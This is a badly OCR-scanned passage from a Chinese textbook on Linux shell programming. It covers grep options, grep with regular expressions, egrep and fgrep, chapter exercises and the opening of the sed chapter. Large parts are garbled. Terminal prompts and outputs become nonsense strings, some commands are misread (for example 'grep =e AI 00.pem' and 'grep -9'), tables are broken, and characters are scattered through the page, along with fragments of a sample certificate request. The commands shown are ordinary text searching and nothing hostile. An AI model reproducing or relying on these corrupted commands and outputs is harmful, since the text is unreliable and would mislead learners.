而 未 能 执行 。 有 关 退 出 状态 的 内 容 将 在 第 7 章 介绍 ,读者 将 grep -q 选项 与 退出 状态 结合 起 来 
阅读 ， 能 更 深入 地 理解 -q 选项 。 下 面 我 们 举 一 个 例子 说 明 grep -q 选项 的 含义 。 
例 3-37: 演示 grep -9 选项 


第 1 条 命令 : grep 命令 搜索 成 功 
root@JjJselab shell=book BEd Ol 2 ens rol CT 































































































-人 
| 
















































































root@jselab shell-book]# echo $? 
0 # 退 出 状态 是 0 
第 3 条 命令 : grep 命令 未 搜索 到 满足 模式 的 文本 行 


EootQ@lselab shell Book ree = = Wo em ell 








root@jselab shell-book]# echo $? 





# 退 出 状态 是 1 
第 5 条 命令 ; grep 命令 执行 失败 
root@jselab shell-book rep = Worlo rer an ee were 
grep: world: 没有 那个 文件 或 目录 

root@jselab shell-book]# echo $? 

2 # 退 出 状态 是 2 


root@jselab shell-book 


列 3-37 列举 了 三 种 场景 ,第 1 条 命令 gop 在 world.txt 文件 中 搜索 整 行文 本 0 
的 行 ， 由 例 3-36 能 找到 满足 模式 的 行 ， 因 而 ， 退 出 状态 是 0 (echo $? 命 令 用 于 输出 上 条 命 
的 退出 状态 ， 第 7 章 将 会 讲述 ); 第 3 条 命令 令 grep 在 world.txt 文件 中 搜索 整 行文 本 a 
African” 的 行 ， 由 于 此 时 grep 命令 未 搜索 到 满足 模式 的 文本 行 ， 因 而 退出 状态 是 1; 第 5 条 
命令 中 的 world 文件 不 存在 ，grep 发 生 语法 错误 ， 因 而 退出 状态 是 2。 

11. -b 和 -o 选项 











世 






























































































































































i 元 J 华 清 远见 教育 集团 官网 : www. hqyj. com 











《Linux Shell 编程 从 初学 到 精通 》 

















grep -b 选项 打印 匹配 








行距 文件 头 部 的 优 



































项 ，grep 命令 将 打印 匹配 的 词 距 文件 头 部 的 


的 第 


第 1 条 命令 : 打印 严 配 行 








0:Hello World 

2 Wer 
SMWorrteu 

36:0ne One World 

第 2 条 命令 : 打印 匹配 词 





Geenakel 

WO 
Sorel 
44:World 














例 3-38: 演示 grep 命令 的 -b 和 -o 选项 


距 文 件 头 部 的 偏 移 量 





距 文 件 头 部 的 偏 移 量 





root@jselab shell-book]# 


例 3-38 中 的 第 1 条 命令 打印 匹配 行距 文件 头 部 的 偏 移 量 ， 





一 行 ， 因 而 ， 该 行 





印 匹 


节 介 

















配 词 距 文 件 头 部 的 偏 











离 文 件 头 部 的 偏 移 量 是 
移 量 时 ， 第 一 行 “Hello World” 的 词 World 距离 文件 头 部 是 6 








ij 移 量 。 


人 




















rootonselabsnell oorep 0 we orl wor lt 


reotanselab ene eoklht ore Bb oC we Wonk wormle tt 


























避 十 


Hs 























ij 移 量 ， 以 字 节 为 单位 。 如 果 在 -b 选项 后 再 加 上 -o 选 


下 面 的 例 3-38 演示 了 grep 的 -b 和 -o 选项 。 














于 “Hello World ”是 world.txt 


然而 ， 当 第 2 条 命令 加 上 -o 选项 打 


zz 4 


子 m。 





grep 命令 的 -E 和 -F 选项 分 别 等 价 于 grep 命令 族 中 的 egrep 和 fgrep 命令 , 我 们 将 在 3.4.3 
绍 ， 有 关 grep 命令 选项 、 模 式 和 文件 的 介绍 到 此 为 止 ， 下 一 节 将 举例 介绍 grep 和 正则 





式 的 结合 使 用 。 


3.4.2 grep 和 正则 表达 式 结合 使 用 的 一 组 例子 


下 所 


将 禹 元 字符 的 正则 表达 式 
将 正则 表达 式 引 起 来 ， 以 免 发 9 
表达 式 结合 的 用 法 ， 以 加 强 读者 对 grep 命令 的 认识 ， 而 且 有 利于 对 正则 表达 式 的 巩 























用 于 grep 命 























令 能 够 更 灵活 地 匹配 信息 , 使 
FE 一 些 不 可 预知 的 错误 。 下 面 
























































月 时 需要 使 用 单 引 号 











通过 一 组 例子 来 介绍 grep 与 正则 








固 。 





元 字符 “^” 表 示 行 首 ， 若 需要 匹配 .pem 为 后 绥 文 件 中 以 横 枉 〈-) 开头 的 行 ， 可 输入 如 


1. 匹配 行 首 
示 的 命令 : 


























# 例 3-39: grep 查找 以 -符号 开头 的 行 

[eeottzawmn gloouslt green “Pem 
00Bem: ==== BEGCGTNE CERLEELCATE REOUVEST 
00EEBem:—==== ENDEeER ETREOUESNE = 
08Bems===== BECTNE GERLIEELECALE 

08= Eem:—===== BND OEE 

i een BEGENICEREFEECALTE = 
Wen ses ENDYCRNNEE TCA = 








[root@zawu globus] 































































































下 面 的 例 3-40 结合 grep 和 正则 表达 式 搜索 空白 行 ， 第 1 个 命令 的 意义 为 匹配 00.pem 文 
件 中 空白 行 的 行 数 ， 显 示 结 果 说 明 00.pem 文件 中 有 14 行 空 白 行 。 第 2 个 命令 为 匹配 00.pem 
文件 中 非 空白 行 的 行 数 ， 此 时 使 用 [^$] 符 号 表示 空白 行 范围 ， 前面 加 上 “^” 符 号 取 反 ， 显 然 ， 
^$ 表 达 式 是 错误 的 ， 因 为 grep 将 第 1 个 “^” 理 解 为 行 首 ， 显 示 结 果 说 明 00.pem 文件 中 有 


27 行 空 白 行 。 


# 例 3-40: 查找 空白 行 
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第 1 条 命令 ;搜索 00 .pem 中 的 空白 行 ， 只 打印 行 数 
root@zawu globus]# grep -c ^$ 00.pem 
4 
第 2 条 命令 : 搜索 00 .pem 中 的 非 空白 行 ， 只 打印 行 数 
root@zawu gloBbus]# grep =e AI 00.pem 
多 
root@zawu globus]# 
2. 设置 大 小 写 
利用 -i 符号 可 以 使 grep 命令 不 区 分 大 小 写 ， 当 然 也 可 利用 中 符号 来 实现 这 一 功能 。 下 面 
给 出 用 [|] 符号 设置 大 小 写 的 例子 。 
例 3-41: 用 [] 符 号 设置 大 小 写 
root@zawu globus]# grep -n [Ccl]ertificate 00.pem 
:This is a Certificate Request file: 





ol 









































7:Certificate Subject: 

Tm abeovestrineg ns knowneas vourmnuserneertrtiea te ue et ne 
4:To install this user certificate, please save this e-mail message 
ZTt vounnave any oauestunons apouc tthe ccctrtlieate contackt 








root@zawu globus]# 

上 例 匹 配 00.pem 文件 中 certificate 和 Certificate 两 个 关键 字 的 行 ， 并 显示 匹配 的 行 号 。 如 果 

不 区 分 大 小 写 来 得 找 00.pem 中 Certificate 关键 字 的 行 ， 我 们 就 可 以 使 用 下 面 的 两 条 等 价 命令 ; 
grep “certificate” 00.pem 
cee led ee ee ee eae em 
3. 匹配 重复 字符 
匹配 重复 字符 通常 可 以 利用 “.” 符 号 和 “*” 符 号 来 实现 。 首 先 举 一 个 “.” 符 号 的 例子 。 
# 例 3-42: grep 和 .符号 
leeotQamawtl olosusli orer /0 eem 


/home/globus/.globus/usercert .pem 
[root@zawu globus] 


上 例 搜索 00.pem 文件 中 以 /字符 开始 、 中 间 4 个 任意 字符 、 第 6 个 字符 仍 为 /的 行 ， 显 示 
结果 /home/ 满 足 匹 配 条 件 。 
然后 给 出 一 个 “*” 符 号 的 例子 。 


# 例 3-43: grep 和 * 符 号 
[root@zawu globus]# grep “^-*B 00.pem 












































a 










































































BAIWADANBgkqhkiG9wOBAQQFAAOBgQBoOHRUaaB/Tyut+LuALwnT3Muw/0jDIYxc5a 
[root@zawu globus]# 


上 例 搜索 以 “-” 开 头 ， 重 复 “-” 符 号 任意 次 ， 然 后 是 B 字符 的 行 ， 第 1 条 结果 B 表示 
“-” 符 号 重复 5 次 满足 匹配 条 件 ， 第 2 条 结果 B 表示 “-” 符 号 重复 0 次 ， 仍 然 符 合 “*” 符 
号 的 语法 。 因 此 ， 满 足 匹 配 条 件 。 

4. 转 义 符 

如 果 匹 配 的 目标 字符 串 中 包含 元 字符 ， 则 需要 利用 转 义 符 人 ”屏蔽 其 意义 。 如 果 需 要 搜 
索 包含 seu.edu.cn 字符 串 的 行 ， 由 于 句号 “.” 字 符 是 元 字符 ， 所 以 ， 需 要 在 “.” 符 号 之 前 加 
上 ”符号 进行 转 义 。 如 果 将 命令 写成 

SEE 


则 是 匹配 seu 和 edu、edu 和 cn 之 间 存 在 任意 单个 字符 的 行 ， 如 seuxeduxcn 能 够 满足 条 件 。 
下 面 给 出 搜索 包含 seu.edu.cn 字符 串 的 行 的 例子 。 
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# 例 3-44: grep 和 转 义 符 
[root@zawu globus]# grep seu\.edu\.cn 00.pem 
Fesneoulteoe mmieed Eo mmseu ue 


/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 


Chnes ole mele eat zdmioseuned en 
[root@zawu globus]# 

















seu.edu.cn 字符 串 的 行 。 








一 








上 例 的 结果 可 以 看 出 ， 转 义 符 使 得 元 字符 “.” 符 号 被 解析 为 字面 含义 ， 打 印 出 了 包含 














横 枉 〈-) 字符 较为 特别 ， 它 虽然 不 属于 正则 表达 式 元 字符 ， 但 是 ， 由 了 









































root@zawu globus]# grep -\{5\} 00.pem # 模 式 以 -符号 开头 
grep: 无 效 选项 -- { 

Usage orespaloPnroN PEATIIERNIELLEN 
meyerep ne ommoree miorimat one 
root@zawu globus]# grep '-\{5\}' 00.pem 
grep: 无 效 选 项 -- \\ 

Usages orepaloPnroN ATIERN LE LE 
Tr neon nm on 














sr 





66 9 心 


子 符 是 引 





出 grep 命令 选项 的 特殊 字符 ， 所 以 ， 当 模式 以 “-” 符 号 开头 时 ， 需 要 用 转 义 符 将 其 转 义 ， 
请 看 下 面 的 例 3-45 。 
例 3-45: -字符 在 grep 命令 中 的 特殊 性 


# 提 示 错 误 ，grep 将 模式 解析 为 选项 


# 将 模式 用 引号 括 起 也 解决 不 了 问题 








上 例 原本 是 要 搜索 “-” 符 号 重复 5 次 的 文本 行 ， 模 式 当然 以 “-” 





付 杞 























头 ， 结 果 grep 





将 模式 解析 为 选项 ，Shell 提示 无 效 选项 错误 。 尽 管 我 们 将 模式 用 引号 引起 来 ， 但 是 仍然 得 到 
相同 的 错误 。 正 确 的 用 法 应 该 如 下 所 示 : 

root@zawu globus]# grep '\-\{5\}' 00.pem 

王 三 一 二 二 BEGEN CERIERECATD PHOUEST=—=== 


2 
局 


析 


和 














ee END CERTIFICAT 
root@zawu glokbus] 


ERO = 























上 面 的 命令 在 “-” 符 号 前 加 上 转 义 符 ， 并 用 引号 将 模式 引起 来 ， 得 到 了 正确 

















这 里 模式 上 的 引号 十 分 重要 ,如 果 不 加 引号 ， 仍 然 提 示 无 效 选 项 错误 。 


grep \~\{5, \} 00.pem 




















root@zawu globus] 
grep: 无 效 选项 -- { 
Usaoqer eo ep eNI AN El 
下 





root@zawu globus]# 








本 章 上 机 提议 第 8 题 建议 读者 执行 与 此 相关 的 儿 条 有 趣 的 命令 ， 读 者 如 果 执 





Ar 口 























把 


中 原因 ， 一 定 能 对 转 义 符 、“-” 深 的 理解 。 
5. POSIX 字符 类 


为 了 





符号 和 grep 的 执行 过 程 有 更 




















的 结果 。 注 


行 它们 并 分 


保持 不 同 国家 的 字符 编码 的 一 致 性 ，POSIX (Portable Operating System Interface) 增 
加 了 特殊 的 字符 类 ， 以 [:classname] 的 格式 给 出 ，grep 命令 支持 POSIX 字符 类 ， 





首先 将 POSIX 

















类 及 








其 意义 列 于 表 3-4 中 。 
表 3-4 POSIX 字符 类 








[:upper:] 


表示 大 写字 母 [A~Z] 





[:lower:] 








表示 小 写字 母 [a 一 如 
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[digit] 表示 阿拉 伯 数 字 [0~9] 





[:alnum:] 表示 大 小 写字 母 和 阿拉 伯 数 字 [0 一 9 a 一 z A 一 了 ] 








[space:] 空格 或 Tab 键 








[alpha:] 表示 大 小 写字 母 [a~z A 一 了 ] 





[cntrl:] 示 Ctrl 键 





[:graph:] 或 [:print:] 示 ASCII 码 33 一 126 之 间 的 字符 








[:xdigit:] 示 16 进 制 数字 [0 一 9 A~F a 一 如 














下 面 举 几 个 例子 来 说 明 POSIX 字符 类 的 用 法 ， 首 先 ， 给 出 一 个 利用 POSIX 字符 类 搜索 
以 大 写字 母 开头 的 行 : 
例 3-46: 利用 POSIX 字符 类 搜索 以 大 写字 母 开头 的 行 
rootazamvm i ololuslt orep ll uer em 
This is a Certificate Request file: 














Gshoulem be ne ee oraseu ed en 

Certificate Subject: 

The above string is known as your user certificate subject, and it 
To install this user certificate, please save this e-mail message 








fvomnhnave anv ouesbrions abouenthne cereificoate contaecke 
MIIB4zCCAUwWwCAQAWCTENMASGAl1UECNMER3JPZDETMBEGAl1UECxMKR2xVYNVZVG 
CxMKC2V1LmVkdS5jbjEPMAOGAlTUEAxXMGZ2xvYNVZzMIGfMAOGCSIqGSIb3DQOEBAQUA 
A4GNADCBiQKBg9QCW50H88r7sAGJQGLZTMmMxTiw9AgDIPPBMNP6Fg93eJTIqIBVqBdha 
YTRtleSBT/AJUi3rTDRIABJPgU8CZKWPb1AE8UEJSeCKwgk3J9Q0HK2NcZXwIDAQAB 
BAIWADANBgkqhkiG9wOBAQQFAAOBgQBoOHRUaaB/Tyu+LuALwNnT3Muw/0jDIYxc5a 
YaA4dWCB6/2yVYyfmyRCNox3rIsyUvqL9p81d/hpNiAB/00azMBialq5Gcpaansd 
[root@zawu globus]# 


上 例 的 命令 使 用 POSIX 字符 类 作为 模式 ，[:upper:] 表 示 大 写字 母 集合 ， 再 用 一 层 方 括号 
将 [upper:] 括 起 ， 表 示 匹 配 字符 集合 ， 得 到 的 结果 确实 是 所 有 以 大 写字 母 开 头 的 文本 行 。 
再 举 一 个 搜索 以 空格 开头 文本 行 的 例子 : 

例 3-47: 搜索 以 空格 开头 文本 行 

root@zawu globus]# grep ^[[:space:]] 00.pem 


/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 
vovneednoc edn eens messadged ananyv way Smely 










































































NN 





























save this e-mail message to the file. 
[root@zawu globus]# 


上 例 的 命令 仍 以 POSIX 字符 类 作为 模式 ，[:space:] 用 法 与 [:upper:] 类 似 。 事实 上 ，POSIX 
字符 类 作为 模式 的 用 法 都 类 似 ， 使 用 时 只 要 注意 用 方 括号 将 POSIX 字符 类 括 起 来 即 可 。 
6. 精确 匹配 
3.1 市 讲述 正则 表达 式 时 未 曾 讲 述 “\<\>” 符 号 ， 该 符号 用 于 精确 匹配 ， 在 此 结合 grep 
命令 对 此 符号 进行 介 


首先 给 出 一 个 说 明 性 的 例子 ， 我 们 结合 例子 阐释 何 为 精确 匹配 ， 以 及 “\<\>” 符 号 的 用 








al 






















































































法 ， 例 子 如 下 所 示 : 
# 例 3-48: 精确 匹配 
[root@zawu globus]# cat re01 # 显 示 re01 文件 的 内 容 
AL sj 万 】 华 清 远 见 教育 集团 官网 : www. hqyj. com 
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Linel:there are four lines in this file 
Line2:this the line 2 

Line3:this is another line 

Line4:this is line4 











root@zawu globus]# grep the re01 # 列 出 所 有 包含 the 字符 串 的 行 
Linel:there are four lines in this file #there 中 包含 了 the 
Line2:this the line 2 

Line3:this is another line #another 中 包含 了 the 
root@zawu globus]# grep "\<the\>" re01 # 精 确 匹 配 the 这 个 单词 
ee # 只 要 第 2 行 有 此 单词 





root@zawu globus]# 

上 例 创建 名 为 re01 的 示例 文件 ， 该 文件 中 有 4 行 字符 串 ，cat re01 命令 列 出 了 这 4 行 字 
符 串 内 容 ， 关 于 cat 命令 的 用 法 ， 可 以 参考 10.1.2 节 ， 在 此 不 介绍 。 未 用 “\<\>” 符 号 时 为 模 
糊 匹 配 ， 列 出 所 有 包含 the 字符 串 的 行 ， Line 1、Line 2 和 Line 3， 因 为 Line 1 中 包含 there， 
Line 2 中 包含 the，Line 3 J 含 another。 用 “\<\>” 符 号 精确 匹配 the 这 个 单词 ， 因 而 ， 只 
列 出 了 Line 2， 注 意 \<the> 上 的 引号 必 不 可 少 。 
事实 上 ，grep 命令 的 -w 选项 也 可 用 于 精确 匹配 ， 下 面 的 命令 等 价 于 上 例 的 grep "\<the\>" 



































































































































re01 命令 : 
[root@zawu globus]# grep -w the Te01 # 利 用 -w 选项 实现 精确 匹配 
De en ee # 绪 果 仍 是 第 2 行 


[root@zawu globus]# 

7. 或 字符 

或 字符 “|” 是 扩展 的 正则 表达 式 中 定义 的 , grep 需要 加 上 -E 选项 才能 支持 它 ， 下 面 给 出 
grep 命令 使 用 “|” 字 符 的 例子 。 
例 3-49: grep 命令 与 | 字符 
root@zawu globus]# grep -E "OU|seu" 00.pem # 带 -王选 项 的 grep 执行 成 功 
Besnouee mniea Eo :omneseun sau en 


/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 
Che cleus smele cna admuioseunedn en 











root@zawu globus]# grep "OU|seu" 00.pem 
root@zawu globus]# 


例 3-49 的 两 个 命令 用 于 匹配 带 有 OU 或 seu 字符 串 的 行 , grep 带 上 -E 选项 后 得 到 正确 的 
结果 。 而 grep 没有 带 -E 选项 时 ， 返 回 结果 为 空 ， 这 是 因为 grep 命令 将 “|” 字 符 解 析 为 字面 
意义 。 注 意 ，OUlseu 上 的 引号 必 不 可 少 。 

grep 命令 与 正则 表达 式 结合 使 用 极 大 地 增加 了 命令 应 用 的 灵活 性 ， 同 时 也 增 大 了 使 用 命 
令 的 难度 ， 读 者 只 有 在 本 节 例子 的 基础 上 ， 多 上 机 练习 ， 多 思考 分 析 ， 才 有 可 能 熟练 而 灵活 
地 运用 grep 命令 。 


3.4.3 grep 命 合 族 简介 


Linux 系统 支持 三 种 形式 的 grep 命令 ， 通 常 将 这 三 种 形式 的 grep 命令 称 为 grep 命令 族 ， 
这 三 种 形式 具体 为 : 
@ grep: 标准 grep 命令 ， 文 持 基 本 正则 表达 式 ， 上 面 两 小 节 已 经 对 此 命令 进行 了 详细 
的 讨论 。 
@ egrep: 扩展 grep 命令 ， 文 持 基 本 和 扩展 正则 表达 式 。 
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@ fgrep: 快速 grep 命令 ， 不 支持 正则 表达 式 ， 按 照 字 符 串 的 字面 意思 进行 匹配 。 
egrep 命令 与 grep -E 等 价 ，fgrep 命令 与 grep -F 等 价 ， 在 某 些 Linux 发 行 版 中 ，egrep 
和 fgrep 都 是 grep 命令 的 别名 ， 分 别 将 其 符号 链接 到 grep -E 和 grep -下 命令。 下 面 举 两 个 例 
子 来 说 明 egrep 和 fgrep 命令 。 首 先 ， 举 一个 egrep 命令 的 例子 ， 如 下 : 
例 3-50: egrep 命令 的 用 法 
root@zawu globus]# egrep "seu.edulcertificate" 00.pem # 第 1 条 命令 
emshoulemeemmanlise exammoseu eau en 


/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 
Tnevaboven scene us rnown eas vouruserecee lt eoate Subject ne 



























































To install this user certificate, please save this e-mail message 
vounnave any ouestLrom aboutethe eerbrfticate conbaee 

Shescleoeuse mmol ea qnrtseue en 

root@zawu globus]# egrep "^-+B" 00.pem # 第 2 条 命令 








root@zawu globus]# 
上 例 第 1 条 命令 egrep 使 用 了 扩展 的 正则 表达 式 元 字符 “|” 符 号 ， 表 示 搜 索 包 含 seu.edu 
字符 串 或 certificate 字符 串 的 文本 行 ，egrep 成 功 地 解析 了 元 字符 “|” 符 号 的 含义 ， 得 到 正确 
的 结果 。 第 2 条 命令 使 用 了 “+” 符 号 ， 意义 为 查找 00.pem 文件 中 以 “-” 符 号 开头 、 重 复 任 
意 次 且 是 B 字符 的 行 。 请 注意 “^+B” 和 “^*B” 的 区 别 , “+” 符 号 表示 “-” 符 号 至 少 重 
复 一 次 ， 不 匹配 以 B 字符 开头 的 行 。 

其 次 ， 我 们 再 举 一 个 fgrep 命令 的 例子 。 

网 3-51: fgrep 命令 的 用 法 


































































































root@zawu globus]# fgrep ^-*B 00.pem # 第 1 条 命令 ，fgrep 命令 不 支持 正则 表达 式 
root@zawu globus]# fgrep certificate 00.pem # 第 2 条 命令 ，fgrep 命令 支持 普通 字符 串 








The sabove Sterling irs knew as veourusermeereriieate sublece > andie 
To install this user certificate, please save this e-mail message 
fveounnave any questions abeove the ocretlftneate oontace 

root@zawu globus]# 


上 例 的 第 1 条 命令 是 fgrep 后 加 正则 表达 式 ， 无 任何 返回 结果 ， 这 说 明 ferep 不 支持 正则 
表达 式 ; 第 2 条 命令 fgrep 后 面 加 普通 字符 串 , 返回 正确 结果 , 这 说 明 fgrep 文 持 普通 字符 串 。 

egrep 和 fgrep 命令 极 少 使 用 ， 因 为 grep 命令 功能 已 十 分 强大 ， 足 以 替代 egrep 和 fgrep 
命令 。 因 此 ， 读 者 只 需 对 egrep 和 fgrep 命令 有 所 了 解 即 可 。 


本 章 小 结 多 


本 章 介 绍 了 Shell 命令 和 工具 所 涉及 的 基本 文法 一 一 正则 表达 式 , 重点 介绍 了 基本 正则 表 
达 式 和 扩展 正则 表达 式 中 元 字符 的 意义 和 用 法 。 在 此 基础 上 ， 介 绍 了 Shell 的 通 配 功 能 ， 结 
合 例子 逐个 讨论 了 通 配 的 元 字符 。 本 章 还 介绍 了 Linux 系统 中 使 用 广泛 的 grep 命令 ,着 重 讨 
论 了 grep 命令 的 基本 用 法 ， 及 如 何 与 正则 表达 式 相 结合 以 更 加 灵活 地 进行 文本 搜索 ， 此 外 ， 
还 简单 介绍 了 grep 命令 族 中 的 其 他 两 个 命令 egrep 和 fgrep。 
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上 机 提议 


1. 分 析 下 面 的 正则 表达 式 表 达 了 什么 


pe 


NEW 
^$ 
[3 


(5 
(7) 
(8) 
(9) 
(no 





件 名 。 


k\{6, 
k\{6, 
IN LONY 


[a 
Sa 
[| 
2. 利用 通 配 ] 


到 精通 》 





含义 。 











en 
\h 


YEARS$ 


SEE 
NDSNY 














力 能 列 出 茶 目 录 下 所 有 以 数字 开头 、 最 后 3 位 是 句点 和 2 个 任意 字母 的 文 

















3. 利用 i 








结尾 的 文件 。 


4. 在 上 
































通 配 功能 列 出 Windows 下 文本 格式 文件 ， 即 以 doc、. 多 t、.ppt、.docx 和 .pptx 等 














题 的 基础 上 ， 不 区 分 大 小 写 搜索 Windows 下 文本 格式 文件 包含 字符 串 的 





chapter 子 











文本 行内 容 及 其 行 号 ， 要 求 写 出 等 
人 


5. 下 面 
第 (2) 条 命 

















车 价 的 两 种 形式 的 命令 。 



































的 第 (1) 条 命令 是 3.4.1 节 讲 述 grep 命令 的 了 选项 时 的 示例 命令 ,执行 下 面 的 
令 ， 观 察 该 命令 是 否 仍 将 对 BUILD 子 目 录 进 行 搜索 ， 分 析 其 原因 。 















































全 OGA 

(SEETEUECRRIIRICATRY De 

6. 重 做 3.4.2 节 搜 索 空白 行 和 非 空 日 行 的 例子 ,并 试验 用 和 ^^$ 匹 配 非 空白 行 这 种 错误 用 法 ， 
即 执行 下 面 的 三 条 命令 : 


grep -c ^$ 00.pem 
grep OI^$] 


00 .pem 





















































(人 JE 
7. 统计 当前 目录 及 其 子 目 录 下 的 所 有 文件 所 包含 空白 行 的 行 数 。 再 写 一 个 命令 统计 当前 
目录 及 其 子 目 录 下 的 所 有 文件 包含 非 空 白 行 的 行 数 。 





8. 结合 


了 口 口 


误 ， 分 析 其 9 


ep i 
mep 


9. 对 于 
3.4.2 节 曾 讲述 






































3.4.2 节 对 “-” 符 号 的 阐述 ,执行 下 面 几 条 命令 ， 观 察 是 否 仍然 提示 无 效 选 项 错 


PP 的 原因 : 











=\ {op OU 
"sp NY OO a 


3.4.2 节 精 确 匹 配 示例 中 的 re01 文件 ， 依 次 执行 下 面 的 4 条 命令 ， 前 3 条 命令 是 
过 的 ， 第 4 条 命令 是 错误 的 命令 ， 分 析 第 4 条 命令 得 不 到 正确 结果 的 原因 。 
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本 章 介 绍 Linux/UNIX 系统 中 两 种 功能 强大 的 文本 处 理工 具 : sed @ 
和 awk。 由 于 sed 是 流 编辑 器 ， 因 此 ， 才 有 了 sed 这 个 名 字 stream ©. 
editor)， 它 是 一 个 将 一 系列 编辑 命令 作用 于 一 批文 本 文件 的 理想 工具 。 -人 
awk 因 其 三 位 缔造 者 的 名 字 而 命名 (Aho、Weinberger 和 Kernighan )， 
是 一 种 能 够 对 结构 化 数据 进行 操作 ， 并 产生 格式 化 报表 的 编程 语言 。 T] 
sed 和 awk 有 很 多 共同 之 处 ， 如 使 用 正则 表达 式 进行 模式 匹配 等 ， 而 和 
且 掌 握 grep 命令 将 有 助 于 学 习 sed 和 awk。 因 此 ， 上 一 章 的 内 容 是 本 (eb) 
章 学 习 的 基础 。 三 
编 
他 清江 见 
HQYJ.COM 
千 请 [元 由 华 清 远 见 教育 集团 官网 : www. hqyj. com 
HQYJ.COM 








《Linux Shell 编程 从 初学 到 精通 》 


思 罗 作 .人 全 基本 用 法 





sed 是 一 个 非 交 互 式 文本 编 
是 来 自 键 盘 输 入 、 文 件 重 定向 、 
文本 行 或 标准 输入 中 读 取 数据 ， 将 其 复制 到 缓冲 区 ， 然 后 读 取 命 
直到 命令 行 或 脚本 
其 他 文本 编辑 器 ，sed 可 以 一 次 性 处 到 
大 量 的 时 间 ，sed 适用 于 以 下 三 种 场合 : 
编辑 相对 交互 式 文本 编 
辑 命令 太 复杂 ， 在 交互 式 文 本 编 


十- 








对 此 命令 要 
相对 于 诸如 
用 户 节省 了 
@ 
@ 








编 
对 








求 的 行 

















2 Ar dD 


子 付 串 














号 进行 编辑 ， 重 复 上 











Vi 等 

















文件 扫 


过 程 ， 


辑 器 ， 它 可 对 文本 文件 科 


、 变 量 ， 甚 至 来 


























1 辑 器 而 言 玉 


大 的 文件 。 
























































sed 只 是 对 绥 ; 














保存 改动 内 容 ， 需 要 将 输出 生 


sed 'sed 命令 ! 





Y 





区 中 原始 














lee le > eevee 


该 命令 将 sed 命令 对 input-file 的 更 改 保存 到 result-file 中 ,“> 
重 定向 的 内 容 将 在 第 10 章 





详细 介 
































lle 


然后 执行 该 脚本 文件 。 三 种 方式 的 命令 格式 归纳 如 下 : 
@ 在 Shell 命令 行 输入 命令 调用 sed， 格 式 为 : 





sed [选项 ] 
注意 ， 需 要 用 单 引 号 将 sed 命令 引起 来 。 





人 @ 将 sed 命令 插入 脚本 文件 后 ， 然 

sed [选项 ] -f sed 脚本 文件 输入 文件 

@) 将 sed 命令 插入 脚本 文件 后 ， 最 常 
行 该 脚本 文件 ， 格 式 为 : 

./sed 脚本 文件 输入 文件 

第 @ 种 方式 的 sed 脚 





| 














表 4-1 











'sed 命令 ! 





输入 文件 








后 通过 sed 命令 








E 所 有 的 编辑 人 有 


辑 器 中 难以 输入 的 1 


标准 输 
自 于 管道 


址 

















令 

















裔 ， 但 是 需要 执行 多 个 编辑 函数 的 情况 。 
文件 的 副本 进行 编辑 ， 并 不 编辑 原始 的 文件 。 
EE 定向 到 男 一 个 文件 ， 可 以 使 月 




















上 





一 种 为 Shell 命令 行 方式 ， 男 外 两 种 是 将 sed 












































sed 命令 选项 及 其 意义 




















的 方法 是 设 1 


本 文件 与 第 @ 种 有 所 不 同 ， 其 sed 脚本 文 





于 该 脚本 文件 


9》 AAA [ 请 ! 


人 
， 读 者 在 此 只 需 记 住 sed 保存 更 改 的 命令 即 可 。sed 编辑 
命令 中 的 w 选项 也 可 将 结果 保存 到 某 个 文件 中 ,这 一 用 法 将 在 4.2 
周 用 sed 有 三 种 方式 ， 


cp 





ed 








入 进行 编辑 ， 标 准 输入 可 以 
的 文本 。 
行 或 及 
中 的 所 有 命令 都 执行 完毕 。 
E 务 ， 显 得 非常 高 效 ， 为 

















sed 从 文本 的 一 个 


[本 的 第 一 个 命令 ， 























因此 ， 如 果 





日 下 面 格式 的 命令 : 








写 是 重 定向 符号 ， 关 于 











区 人 


介 乡 








命令 











写 入 脚本 文件 


调用 它 ， 格 式 为 : 























L 生 
午 需 


为 可 执行 ,然后 直接 执 

















要 以 sha-bang(#!) 符 








头 ，sha-bang 后 面 是 解析 这 个 脚本 的 程序 名 。 不 管 是 哪 
入 文件 ，sed 将 从 标准 输入 中 接受 输 








种 调 


| 





用 


方式 ， 如 果 没 有 指定 输 


入 。sed 的 常用 选项 有 三 个 ， 如 表 4-1 所 示 。 





不 打印 所 有 行 到 标准 输出 





表示 将 下 一 个 字符 串 解 析 为 sed 编辑 命令 ， 


如 果 只 传递 一 个 编辑 命令 给 sed，-e 选项 可 以 省 略 



































定位 文本 行 和 sed 编 

















表示 正在 调用 sed 脚本 文件 









































辑 命 令 两 部 分 组 成 ，sed 编辑 命令 对 定位 文本 行进 行 
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各 种 处 理 ，sed 提供 以 下 两 种 方式 定位 文本 : 
@ ”使 用 行 号， 指定 一 行 ， 或 指定 行 号 范围 。 
@ 使 用 正则 表达 式 。 
表 4-2 给 出 了 sed 定位 文本 的 方法 。 
表 4-2 ”sed 命令 定位 文本 的 方法 






































x 为 指定 行 号 





指定 从 x 到 y 的 行 号 范围 


/pattern/ 查询 包含 模式 的 行 








/pattern/pattern/ 查询 包含 两 个 模式 的 行 








/pattern/;x 从 与 pattern 的 匹配 行 到 x 号 行 之 间 的 行 








x,/pattern/ 从 x 号 行 到 与 pattern 的 匹配 行 之 间 的 行 
xoy! 查询 不 包括 x 和 y 行 号 的 行 

















sed 编辑 命令 标识 对 文本 进行 何 种 处 理 ， 如 打印 、 删 除 、 追 加 、 插 入、 替换 等 ，sed 提供 
了 极为 丰富 的 编辑 命令 。 本 章 详细 介绍 常用 的 sed 编辑 命令 ， 读 者 掌握 了 这 些 常 用 的 编辑 命 
令 就 能 够 较 好 地 利用 sed 进行 文本 处 理 。 对 于 使 用 频率 较 低 、 较 生 俱 的 编辑 命令 ， 本 章 用 一 
节 专 门 做 介绍 ， 供 有 兴趣 的 读者 参考 。 表 4-3 列 出 了 本 章 所 述 的 所 有 的 sed 编辑 命令 。 

表 4-3 sed 编辑 命令 




















































































































打印 匹配 行 





打印 文件 行 号 








在 定位 行 号 之 后 追加 文本 信息 
在 定位 行 号 之 前 插入 文本 信息 
除 定位 行 

新 文本 替换 定位 文本 

使 用 替换 模式 蔡 换 相应 模式 

